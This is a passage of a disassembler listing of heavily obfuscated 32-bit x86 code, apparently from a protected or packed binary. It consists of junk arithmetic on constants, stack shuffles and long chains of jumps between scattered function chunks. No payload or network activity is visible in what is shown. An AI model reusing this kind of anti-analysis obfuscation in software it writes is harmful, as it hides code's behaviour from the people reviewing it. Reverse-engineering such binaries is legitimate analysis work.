		jmp	loc_59F9BD
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5AB4BC:				; CODE XREF: sub_5A16B8+A23Bj
		jns	loc_5AA3FC
		sub	ebp, 0FEDF752Dh
		mov	edi, ebp
		mov	bh, ah


loc_5AB4CC:				; CODE XREF: sub_5ABC2F-F287j
		push	esi
		not	[esp+10h+var_10]
		pop	esi
		xor	esi, 460C2909h
		inc	esi
		add	esi, 40E41EA3h
		add	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 4
		push	edx
		mov	edx, 619B4B4Eh
		add	edx, 0C616DAEh
		add	edx, 9EA0AB89h
		sub	ecx, edx
		pop	edx
		add	ecx, eax
		push	edx
		mov	edx, 0C9D6485h
		jmp	loc_59D944
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AB511:				; CODE XREF: sub_59C979+D79j
					; sub_5AF2D9-1F27j
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A98BF
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 0B37h
		jmp	loc_5A1D46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB52F:				; CODE XREF: sub_5AA2D1-D30Bj
		pop	esi
		push	edi
		jmp	loc_5ACB96
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AB536:				; CODE XREF: sub_5A79BE-44D5j
		and	esi, 3F2929F3h
		jb	loc_59B749
		neg	esi
		and	esi, 65CA590Dh
		dec	esi
		jmp	loc_5A3F10
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5AB550:				; CODE XREF: sub_59E94B+9B71j
		sub	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 48776D54h
		push	ecx
		jmp	loc_5A141D
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------


loc_5AB55F:				; CODE XREF: sdfs____:005AFEC5j
		sub	esi, 0BAA945B1h
		xor	ebx, esi
		pop	esi
		add	ecx, ebx
		jmp	loc_5A15D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5AB56F:				; CODE XREF: sub_59F02F+B55Bj
					; sub_5A253A+81EFj
		or	[edi+1Ch], ebx
		jmp	loc_5AF9D9
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5AB577:				; CODE XREF: sub_599117+32j
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		mov	esi, ebp
		pop	ebp
		pop	eax
		push	ebx
		mov	ebx, 331B2AFBh
		jmp	loc_5A0E31
; END OF FUNCTION CHUNK	FOR sub_599117

; =============== S U B	R O U T	I N E =======================================



sub_5AB593	proc near		; DATA XREF: sdfs____:00598F0Co

; FUNCTION CHUNK AT 005A6E95 SIZE 00000005 BYTES

		pop	dword ptr [edx]
		jmp	loc_5A6E95
sub_5AB593	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03E8


loc_5AB59A:				; CODE XREF: sub_5B03E8-74D5j
		mov	[esp+0], ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_5A6B0F
; END OF FUNCTION CHUNK	FOR sub_5B03E8

; =============== S U B	R O U T	I N E =======================================



sub_5AB5A9	proc near		; DATA XREF: sdfs____:00598F28o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059B554 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BDFA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059CFDF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059E4AF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F696 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A1109 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A6DA0 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A8914 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AB861 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB9C4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005B00AA SIZE 00000017 BYTES

		push	dword ptr [esp+0]
		pop	eax
		push	6785h
		mov	[esp+4+var_4], ebx
		push	2CEDh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_5AB9C4
sub_5AB5A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB762


loc_5AB5C6:				; CODE XREF: sub_5AB762+15C9j
		add	esi, 4
		push	eax
		mov	eax, 52A66B92h
		add	eax, 18623868h
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5A74EC
; END OF FUNCTION CHUNK	FOR sub_5AB762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AB5E5:				; CODE XREF: sub_59D6B8+9E9Fj
		add	[esp+8+var_8], 4
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A3038
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5AB5F4:				; CODE XREF: sub_5A3992-5F56j
		shl	ebx, 5
		jmp	loc_5ADBC6
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AB5FC:				; CODE XREF: sub_5B01F7:loc_5ACB08j
		shl	ecx, 6
		add	ecx, 0BE830E84h
		push	ecx
		add	[esp+26h+var_26], 12BF40ADh
		jmp	loc_59F1A0
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_5AB612:				; CODE XREF: sub_5A0924-6304j
		pop	ecx
		pop	[esp+10h+var_10]
		pop	eax
		jmp	loc_5AA47D
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------


loc_5AB61C:				; CODE XREF: sdfs____:005A7080j
		pop	edx
		jmp	loc_5AA0AE

; =============== S U B	R O U T	I N E =======================================



sub_5AB622	proc near		; DATA XREF: sdfs____:00598FC4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059940D SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00599D16 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C120 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059C20E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D92E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059DE30 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059E280 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A260F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A9630 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005AB2F8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AE496 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AFC0A SIZE 0000000A BYTES

		mov	cx, word ptr [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], edi
		push	1C92h
		push	70CFh
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	dword ptr [esp+0]
		jmp	loc_599D16
sub_5AB622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5AB648:				; CODE XREF: sub_59ED98+7290j
		mov	ebx, [esp+0]
		add	esp, 4
		mov	ecx, [esp-4+arg_0]
		push	506h
		mov	[esp+0], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_59AC74
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AB66E:				; CODE XREF: sub_5A0AA2-3BC4j
		add	esp, 4
		jmp	loc_5AAB99
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB676:				; CODE XREF: sub_5A2E28-92BCj
					; sub_5AA2D1-9760j
		add	eax, 0D8105777h
		sub	eax, 34FE0696h
		jmp	loc_5A2ACE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AB685:				; CODE XREF: sub_5A2E41-739Dj
		and	ebx, 5A1F59BBh
		jnz	loc_5A8675
		jmp	loc_5AC9E5
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
		add	esp, 4
		jmp	loc_5AA8D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5AB69E:				; CODE XREF: sub_5A10E3+C3E4j
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5ADD41
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------


loc_5AB6AC:				; CODE XREF: sdfs____:005AA96Aj
		mov	esi, esp
		jmp	loc_5A7175
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AB6B3:				; CODE XREF: sub_5A63DC-7A48j
		dec	ebx
		jg	loc_5AC6CA
		add	ebx, 0F337FE52h
		jmp	loc_5A5A82
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
		pop	esp
		and	cl, 0B4h
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_5AB6C9:				; CODE XREF: sub_5A4DFC+AAF4j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		mov	ah, byte ptr [esp+4+var_4+2]
		mov	byte ptr [esp+4+var_4+2], dl
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB6E3:				; CODE XREF: sub_5AA2D1-71A2j
		push	dword ptr [esp+4]
		jmp	loc_59E7E8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AB6EC:				; CODE XREF: sub_5A7BA0-D8D6j
		shr	ecx, 3
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 0E05155Eh
		jmp	loc_5A06D2
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5AB702:				; CODE XREF: sub_5996E4+215Fj
		xor	edi, 415B19Ch
		add	esi, edi
		pop	edi
		push	ecx
		push	esi
		push	288E1057h
		jmp	loc_5AC1C6
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5AB717:				; CODE XREF: sub_5A118F-A1Dj
		push	231Eh
		mov	[esp+0], ecx
		jmp	sub_5B01F7
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3947


loc_5AB724:				; CODE XREF: sub_5A3947-6420j
		pop	eax
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A3947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5AB72A:				; CODE XREF: sub_5A6BBC-8E45j
		mov	ebx, 41AA2BDBh
		and	ebx, 15317B08h
		jmp	loc_5A8191
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5AB73A:				; CODE XREF: sub_5AF2D9-C9D1j
		pop	ebx
		add	esp, 4
		jmp	loc_59D8E9
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5AB746:				; CODE XREF: sub_59D4FD+10540j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5AB74B:				; CODE XREF: sub_59D37E+4FC0j
		add	al, 53h
		pop	edx
		sub	al, bl
		push	ecx
		mov	ch, 0FEh
		sub	ch, 17h
		jmp	loc_59E34E
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AB75B:				; CODE XREF: sub_5992DA+2F23j
		add	ebp, edx
		jmp	loc_5A2FEE
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5AB762	proc near		; DATA XREF: sdfs____:00598E74o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005A5F75 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AB5C6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005ACD1B SIZE 00000015 BYTES

		mov	cx, [esp+0]
		push	esi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		jmp	loc_5A5F75
sub_5AB762	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB772:				; CODE XREF: sub_5AA2D1-2F3Bj
		mov	esi, esp
		push	ebp
		push	ebx
		mov	ebx, 77BD4DCDh
		mov	ebp, ebx
		jmp	loc_5AF89A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5AB782	proc near		; DATA XREF: sdfs____:00599008o
		lodsd
		jmp	loc_599276
sub_5AB782	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AB788:				; CODE XREF: sub_5A9EBF+573Bj
					; sub_5992DA+16487j
		pop	ebx
		add	edi, ebx
		jmp	loc_599D7F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AB790:				; CODE XREF: sub_59CBE1+10443j
		pop	ebx
		sub	eax, 4
		push	eax
		push	[esp+0Ah+var_8+2]
		pop	eax
		jmp	loc_5A3C3F
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A317A


loc_5AB7A1:				; CODE XREF: sub_5A317A+1Ej
		pop	esi
		jmp	loc_59BF7D
; END OF FUNCTION CHUNK	FOR sub_5A317A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5AB7A7:				; CODE XREF: sub_59A26C+DAE5j
		push	2F7h
		mov	[esp+0], ebp
		push	660A5208h
		pop	ebp
		not	ebp
		xor	ebp, 977BB7BCh
		mov	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 2CB80DF3h
		and	esi, eax
		jmp	loc_59DD7C
; END OF FUNCTION CHUNK	FOR sub_59A26C

; =============== S U B	R O U T	I N E =======================================



sub_5AB7CD	proc near		; DATA XREF: sdfs____:00598F7Co
		xor	[esp+0], dx
		xor	dx, [esp+0]
		xor	[esp+0], dx
		jmp	loc_5A712A
sub_5AB7CD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AB7DE:				; CODE XREF: sub_5992DA+DA24j
		add	ecx, 4DAF58B2h
		sub	ebx, 692D2281h
		add	ebx, ecx
		push	eax
		mov	eax, 692D2281h
		add	ebx, 5CBC7752h
		add	ebx, eax
		sub	ebx, 5CBC7752h
		pop	eax
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		add	ebx, 25063AB8h
		not	ebx
		shr	ebx, 1
		push	edi
		mov	edi, 6589785h
		add	ebx, 3D420349h
		jmp	loc_5A003C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5AB825:				; CODE XREF: sub_59FB1A-635Aj
		mov	bh, 0AFh
		push	ecx
		mov	ch, 62h
		sub	bh, ch
		pop	ecx
		sub	bh, cl
		add	bh, 62h
		jmp	loc_5A4597
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AB837:				; CODE XREF: sub_59A479+D4CBj
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_5A4D00
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_5AB83F:				; CODE XREF: sub_5AAE5E+9j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	ebp
		jmp	loc_5AD934
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB84C:				; CODE XREF: sub_5AA2D1+A73j
		shl	ebp, 4
		push	esi
		mov	esi, 473310A0h
		add	ebp, esi
		jmp	loc_5A5518
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5AB85C:				; CODE XREF: sub_59F4D2-57E2j
		jmp	loc_5AE483
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_5AB861:				; CODE XREF: sub_5AB5A9-10049j
		mov	ebx, [esp+8+var_8]
		jmp	loc_5A6DA0
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE9FA


loc_5AB869:				; CODE XREF: sub_5AE9FA-13286j
		shr	edx, 8
		jmp	loc_5A15F5
; END OF FUNCTION CHUNK	FOR sub_5AE9FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5AB871:				; CODE XREF: sub_599A61+89C1j
					; sub_5AA2D1-5511j
		push	edx
		jmp	loc_59A8DC
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB877:				; CODE XREF: sub_5AA2D1-4DABj
		shr	ebx, 7
		inc	ebx
		jnp	sub_5AFE9D
		sub	esp, 4
		mov	[esp-1Ah+arg_14+2], eax
		mov	eax, 72FE475Ah
		push	ebp


loc_5AB890:				; CODE XREF: sub_5ADD81-10C52j
		sub	di, 6044h
		push	di
		sub	esp, 2
		mov	word ptr [esp-10h+arg_C], bx
		pop	di
		pop	bx
		dec	bx
		push	di
		push	bx
		jmp	loc_59C754
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AB8B0:				; CODE XREF: sub_5B01F7-2E96j
		add	ecx, 7B137D20h
		sub	ecx, eax
		sub	ecx, 7B137D20h
		push	edx
		mov	edx, 3E122E90h
		neg	edx
		and	edx, 4B7573A2h
		and	edx, 1A96181Ah
		add	edx, 65611215h
		jmp	loc_5A2EA7
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5AB8DD:				; CODE XREF: sub_5A16B8-6A21j
		mov	[esp+8+var_8], ecx
		mov	ecx, 4A64002h
		push	ebp
		push	50B1038Bh
		pop	ebp
		dec	ebp
		sub	ebp, 4D2B4E57h
		jmp	loc_5AB4BC
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AB8F8:				; CODE XREF: sub_59EE3E+7DC6j
		add	esi, ebp
		mov	ebp, [esp+4+var_4]
		jmp	loc_5A5576
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5AB902:				; CODE XREF: sub_5AD243-13D7Fj
		dec	eax
		add	eax, 5BFF4F35h
		jge	loc_59DA68
		add	eax, 0A6134972h
		sub	eax, 137F67E9h
		sub	eax, 44387051h


loc_5AB91D:				; CODE XREF: sub_5B01F7-50CAj
		mov	ebp, esp
		jmp	loc_5AF44F
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_5AB924:				; CODE XREF: sub_59DD36+71EEj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A2764
; END OF FUNCTION CHUNK	FOR sub_59DD36
; ---------------------------------------------------------------------------


loc_5AB932:				; CODE XREF: sdfs____:0059FB15j
		mov	esi, 2
		sub	edx, 8A33BFBh
		push	esi
		mov	esi, 1DEB4268h
		jmp	loc_5A2828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AB948:				; CODE XREF: sub_5992DA+14C3Dj
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5A4133
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5AB950:				; CODE XREF: sub_5ADD33-12D5Dj
		pop	esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A14B6
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AB95F:				; CODE XREF: sub_5AA2D1-3C2Aj
		pop	eax
		add	esp, 4
		push	5521h
		mov	[esp-18h+arg_14], esi
		push	ecx
		mov	ecx, 64CE6CBDh
		sub	ecx, 4D317965h
		jo	loc_59E0AE
		shr	ecx, 4
		sub	ecx, 1F9B1D7Dh
		jnp	loc_5A22CB
		sub	ecx, 0AF237458h
		mov	esi, ecx
		pop	ecx
		push	edx
		jmp	loc_5A2599
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5AB99E:				; CODE XREF: sub_5A77D5+32E0j
		and	ebx, eax
		pop	eax
		or	ebx, 4A8C7104h
		push	eax
		push	49692BDFh
		pop	eax
		not	eax
		xor	eax, 0A176850Fh
		or	ebx, eax
		pop	eax
		push	edx
		mov	edx, 513F436Dh
		push	eax
		jmp	loc_5A32BE
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_5AB9C4:				; CODE XREF: sub_5AB5A9+18j
		pop	ebx
		push	edx
		jmp	loc_59BDFA
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AB9CB:				; CODE XREF: sub_5A477C-704j
		sub	esi, ebp
		jmp	loc_5A6534
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AB9D2:				; CODE XREF: sub_5AD993-13E5Aj
		mov	eax, [esp-0Ch+arg_8]
		push	edi
		mov	edi, esp
		jmp	loc_59AB8F
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5AB9DD:				; CODE XREF: sub_5A580F+27E2j
		pop	ebx
		add	esi, edx
		push	ecx
		jmp	loc_59FFD2
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599664


loc_5AB9E6:				; CODE XREF: sub_599664+326Ej
		push	small 4579h
		mov	[esp+0], bp
		jmp	loc_5A88ED
; END OF FUNCTION CHUNK	FOR sub_599664
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AB9F3:				; CODE XREF: sub_5A63DC-621Ej
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_59DEC6
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4B1


loc_5AB9FF:				; CODE XREF: sub_59B4B1+E36Dj
		add	bl, 8Ch
		pop	ecx
		mov	edx, [esp-4+arg_0]
		jmp	loc_5A495C
; END OF FUNCTION CHUNK	FOR sub_59B4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABA0B:				; CODE XREF: sub_5AA2D1-CF98j
		mov	edi, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5AD5D6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5ABA1E:				; CODE XREF: sub_5AE72D-11753j
					; sub_59A479+554Aj
		mov	[esp+8+var_8], esp
		jmp	loc_5AD63C
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFE9D


loc_5ABA26:				; CODE XREF: sub_5AFE9D+1Ej
		push	eax
		xchg	ecx, [esp+8+var_8]
		push	ecx
		not	[esp+0Ch+var_C]
		pop	ecx
		xchg	ecx, [esp+8+var_8]
		pop	eax
		jmp	loc_5A0176
; END OF FUNCTION CHUNK	FOR sub_5AFE9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F463


loc_5ABA38:				; CODE XREF: sub_59F463+48C0j
		pop	eax
		add	eax, 4
		jmp	loc_5AFB4E
; END OF FUNCTION CHUNK	FOR sub_59F463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5ABA43:				; CODE XREF: sub_5A580F+3j
		mov	[esp+0Ch+var_C], esi
		jmp	loc_5A07F4
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5ABA4B:				; CODE XREF: sub_5A477C+DEj
		jmp	loc_5A0FB0
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------


loc_5ABA50:				; CODE XREF: sdfs____:0059DCCCj
		pop	eax
		jmp	loc_5AC53D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5ABA56:				; CODE XREF: sub_5AC18D-1E83j
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_5A3DD2
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ABA61:				; CODE XREF: sub_5AFD37:loc_5A30D2j
					; sub_5992DA+F7AFj ...
		sub	edx, eax
		sub	edx, 7F8D06B1h
		pop	eax
		jmp	loc_5A966F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ABA6F:				; CODE XREF: sub_5AA2D1-954Cj
		sub	ecx, 561223B7h
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		xchg	ecx, [esp+0]
		jmp	loc_5B0302
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5ABA87:				; CODE XREF: sub_5A477C-5780j
		dec	eax
		or	eax, 6E9B09A2h
		add	eax, 74A2D637h
		sub	edi, eax
		pop	eax
		add	edi, 3C201D46h
		add	edi, ebx
		sub	edi, 3C201D46h
		jmp	loc_5A4207
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5ABAA8:				; CODE XREF: sub_59EE3E+2465j
		add	esp, 4
		xor	eax, ebx
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		add	ebx, 484559D7h
		push	edi
		mov	edi, 5FAC5954h
		shl	edi, 7
		shr	edi, 8
		or	edi, 1EC05BD1h
		sub	edi, 386E399Eh
		jmp	loc_5ADA50
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_5ABAD7	proc near		; CODE XREF: sub_5AD243-12D39j
		sub	esp, 4
		jmp	loc_5A7E28
sub_5ABAD7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5824


loc_5ABADF:				; CODE XREF: sub_5A5824-5B57j
		pop	eax
		add	esp, 4
		push	5ADEh
		jmp	loc_5A721C
; END OF FUNCTION CHUNK	FOR sub_5A5824
